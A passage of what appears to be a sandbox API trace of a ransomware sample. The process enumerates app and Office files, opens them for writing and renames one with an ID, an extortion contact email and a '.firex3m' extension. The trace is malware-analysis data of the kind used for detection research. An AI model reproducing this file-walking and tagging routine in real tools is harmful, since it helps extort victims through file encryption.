0xffffffff [0243.170] Sleep (dwMilliseconds=0x1) [0243.180] SysReAllocStringLen (in: pbstr=0x3a7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Workflow\\Icon_Advanced Layout.png", len=0x79 | out: pbstr=0x3a7ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Workflow\\Icon_Advanced Layout.png") returned 1 [0243.180] GetProcessHeap () returned 0x630000 [0243.180] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x52fc) returned 0x6fe3bb0 [0243.180] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Workflow\\Icon_Advanced Layout.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\workflow\\icon_advanced layout.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.180] Sleep (dwMilliseconds=0x1) [0243.202] SysReAllocStringLen (in: pbstr=0x3a7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-white\\Square44x44Logo.targetsize-16_altform-unplated.png", len=0xa8 | out: pbstr=0x3a7ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-white\\Square44x44Logo.targetsize-16_altform-unplated.png") returned 1 [0243.202] GetProcessHeap () returned 0x630000 [0243.202] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x52a8) returned 0x6fe3bb0 [0243.202] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-white\\Square44x44Logo.targetsize-16_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\manifestassets\\contrast-white\\square44x44logo.targetsize-16_altform-unplated.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.215] Sleep (dwMilliseconds=0x1) [0243.242] SysReAllocStringLen (in: pbstr=0x3a7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-black\\Square310x310Logo.scale-100.png", len=0x95 | out: pbstr=0x3a7ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-black\\Square310x310Logo.scale-100.png") returned 1 [0243.243] GetProcessHeap () returned 0x630000 [0243.243] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5250) returned 0x6fe3bb0 [0243.243] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\manifestAssets\\contrast-black\\Square310x310Logo.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\manifestassets\\contrast-black\\square310x310logo.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.255] Sleep (dwMilliseconds=0x1) [0243.286] SysReAllocStringLen (in: pbstr=0x3a7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\No Symbol.png", len=0x73 | out: pbstr=0x3a7ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\No Symbol.png") returned 1 [0243.287] GetProcessHeap () returned 0x630000 [0243.287] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x51b4) returned 0x6fe3bb0 [0243.287] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\No Symbol.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\embossbitmaps\\no symbol.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.295] Sleep (dwMilliseconds=0x1) [0243.304] SysReAllocStringLen (in: pbstr=0x3a7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Cloud_icon.png", len=0x74 | out: pbstr=0x3a7ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Cloud_icon.png") returned 1 [0243.304] GetProcessHeap () returned 0x630000 [0243.305] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5180) returned 0x6fe3bb0 [0243.305] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\EmbossBitmaps\\Cloud_icon.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\embossbitmaps\\cloud_icon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.316] Sleep (dwMilliseconds=0x1) [0243.341] SysReAllocStringLen (in: pbstr=0x3a7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterSmallTile.scale-200_contrast-black.png", len=0x7d | out: pbstr=0x3a7ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterSmallTile.scale-200_contrast-black.png") returned 1 [0243.341] GetProcessHeap () returned 0x630000 [0243.341] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5114) returned 0x6fe3bb0 [0243.342] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterSmallTile.scale-200_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twittersmalltile.scale-200_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.342] Sleep (dwMilliseconds=0x1) [0243.350] SysReAllocStringLen (in: pbstr=0x3a7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterMedTile.scale-400_contrast-black.png", len=0x7b | out: pbstr=0x3a7ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterMedTile.scale-400_contrast-black.png") returned 1 [0243.350] GetProcessHeap () returned 0x630000 [0243.350] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x50e4) returned 0x6fe3bb0 [0243.350] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterMedTile.scale-400_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twittermedtile.scale-400_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.350] Sleep (dwMilliseconds=0x1) [0243.367] SysReAllocStringLen (in: pbstr=0x3a7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterListSmallTile.scale-200.png", len=0x72 | out: pbstr=0x3a7ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterListSmallTile.scale-200.png") returned 1 [0243.367] GetProcessHeap () returned 0x630000 [0243.367] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5098) returned 0x6fe3bb0 [0243.367] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterListSmallTile.scale-200.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twitterlistsmalltile.scale-200.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.367] Sleep (dwMilliseconds=0x1) [0243.397] SysReAllocStringLen (in: pbstr=0x3a7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterLargeTile.scale-150.png", len=0x6e | out: pbstr=0x3a7ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterLargeTile.scale-150.png") returned 1 [0243.397] GetProcessHeap () returned 0x630000 [0243.397] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5050) returned 0x6fe3bb0 [0243.397] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterLargeTile.scale-150.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twitterlargetile.scale-150.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.397] Sleep (dwMilliseconds=0x1) [0243.414] SysReAllocStringLen (in: pbstr=0x3a7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-64_contrast-white.png", len=0x7f | out: pbstr=0x3a7ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-64_contrast-white.png") returned 1 [0243.414] GetProcessHeap () returned 0x630000 [0243.414] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5004) returned 0x6fe3bb0 [0243.414] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-64_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twitterapplist.targetsize-64_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.414] Sleep (dwMilliseconds=0x1) [0243.427] SysReAllocStringLen (in: pbstr=0x3a7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-48.png", len=0x70 | out: pbstr=0x3a7ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-48.png") returned 1 [0243.427] GetProcessHeap () returned 0x630000 [0243.427] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4fd8) returned 0x6fe3bb0 [0243.428] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-48.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twitterapplist.targetsize-48.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.428] Sleep (dwMilliseconds=0x1) [0243.446] SysReAllocStringLen (in: pbstr=0x3a7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-256_altform-unplated.png", len=0x82 | out: pbstr=0x3a7ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-256_altform-unplated.png") returned 1 [0243.446] GetProcessHeap () returned 0x630000 [0243.446] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4f8c) returned 0x6fe3bb0 [0243.446] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-256_altform-unplated.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twitterapplist.targetsize-256_altform-unplated.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.446] Sleep (dwMilliseconds=0x1) [0243.502] SysReAllocStringLen (in: pbstr=0x3a7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-16_contrast-black.png", len=0x7f | out: pbstr=0x3a7ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-16_contrast-black.png") returned 1 [0243.502] GetProcessHeap () returned 0x630000 [0243.502] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4f60) returned 0x6fe3bb0 [0243.503] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterAppList.targetsize-16_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twitterapplist.targetsize-16_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0243.503] Sleep (dwMilliseconds=0x1) [0244.276] SysReAllocStringLen (in: pbstr=0x3a7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\News_LogoSmall.targetsize-24.png", len=0x8c | out: pbstr=0x3a7ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\News_LogoSmall.targetsize-24.png") returned 1 [0244.276] GetProcessHeap () returned 0x630000 [0244.276] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4f18) returned 0x6fe3bb0 [0244.276] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\News_LogoSmall.targetsize-24.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\assets\\apptiles\\contrast-white\\news_logosmall.targetsize-24.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.304] Sleep (dwMilliseconds=0x1) [0246.327] SysReAllocStringLen (in: pbstr=0x3a7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources\\index.txt", len=0x61 | out: pbstr=0x3a7ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources\\index.txt") returned 1 [0246.327] GetProcessHeap () returned 0x630000 [0246.327] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e6c) returned 0x6fe3bb0 [0246.332] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingNews_4.6.169.0_x86__8wekyb3d8bbwe\\_Resources\\index.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.bingnews_4.6.169.0_x86__8wekyb3d8bbwe\\_resources\\index.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.343] Sleep (dwMilliseconds=0x1) [0249.122] SysReAllocStringLen (in: pbstr=0x3a7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\MarketConfiguration.xml", len=0x66 | out: pbstr=0x3a7ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\MarketConfiguration.xml") returned 1 [0249.122] GetProcessHeap () returned 0x630000 [0249.122] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e70) returned 0x6fe3bb0 [0249.122] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\MarketConfiguration.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\marketconfiguration.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.122] Sleep (dwMilliseconds=0x1) [0249.145] SysReAllocStringLen (in: pbstr=0x3a7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\Health\\Health.xml", len=0x92 | out: pbstr=0x3a7ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\Health\\Health.xml") returned 1 [0249.145] GetProcessHeap () returned 0x630000 [0249.145] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e88) returned 0x6fe3bb0 [0249.145] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Msn.Services\\Personalization\\DataModels\\Health\\Health.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.msn.services\\personalization\\datamodels\\health\\health.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.147] Sleep (dwMilliseconds=0x1) [0249.156] SysReAllocStringLen (in: pbstr=0x3a7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Aria.ClientTelemetry.winmd", len=0x73 | out: pbstr=0x3a7ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Aria.ClientTelemetry.winmd") returned 1 [0249.156] GetProcessHeap () returned 0x630000 [0249.156] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e7c) returned 0x6fe3bb0 [0249.156] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Microsoft.Aria.ClientTelemetry.winmd" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\microsoft.aria.clienttelemetry.winmd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.157] Sleep (dwMilliseconds=0x1) [0249.232] SysReAllocStringLen (in: pbstr=0x3a7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\Sports_TileSmallSquare.scale-100.png", len=0x83 | out: pbstr=0x3a7ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\Sports_TileSmallSquare.scale-100.png") returned 1 [0249.232] GetProcessHeap () returned 0x630000 [0249.232] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e5c) returned 0x6fe3bb0 [0249.233] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\Sports_TileSmallSquare.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\assets\\apptiles\\sports_tilesmallsquare.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.233] Sleep (dwMilliseconds=0x1) [0249.254] SysReAllocStringLen (in: pbstr=0x3a7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\Sports_LogoSmall.scale-100.png", len=0x7d | out: pbstr=0x3a7ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\Sports_LogoSmall.scale-100.png") returned 1 [0249.254] GetProcessHeap () returned 0x630000 [0249.254] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e38) returned 0x6fe3bb0 [0249.254] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\Sports_LogoSmall.scale-100.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\assets\\apptiles\\sports_logosmall.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.254] Sleep (dwMilliseconds=0x1) [0249.266] SysReAllocStringLen (in: pbstr=0x3a7ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Sports_LogoSmall.targetsize-32.png", len=0x90 | out: pbstr=0x3a7ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Sports_LogoSmall.targetsize-32.png") returned 1 [0249.266] GetProcessHeap () returned 0x630000 [0249.266] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e1c) returned 0x6fe3bb0 [0249.266] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\Assets\\AppTiles\\contrast-white\\Sports_LogoSmall.targetsize-32.png" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\assets\\apptiles\\contrast-white\\sports_logosmall.targetsize-32.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.266] Sleep (dwMilliseconds=0x1) [0249.291] SysReAllocStringLen (in: pbstr=0x3a7ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\WATER\\PREVIEW.GIF", len=0x6c | out: pbstr=0x3a7ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\WATER\\PREVIEW.GIF") returned 1 [0249.292] GetProcessHeap () returned 0x630000 [0249.292] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4dec) returned 0x6fe3bb0 [0249.292] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\WATER\\PREVIEW.GIF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\water\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6e8 [0249.606] CloseHandle (hObject=0x6e8) returned 1 [0249.606] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3a7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0249.606] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\WATER\\PREVIEW.GIF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\water\\preview.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\WATER\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\water\\preview.gif.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0249.607] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3a7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0249.607] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\WATER\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3a7fc6c | out: lpFindFileData=0x3a7fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c86bce, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c86bce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa6c, dwReserved0=0x6f0063, dwReserved1=0x74006e, 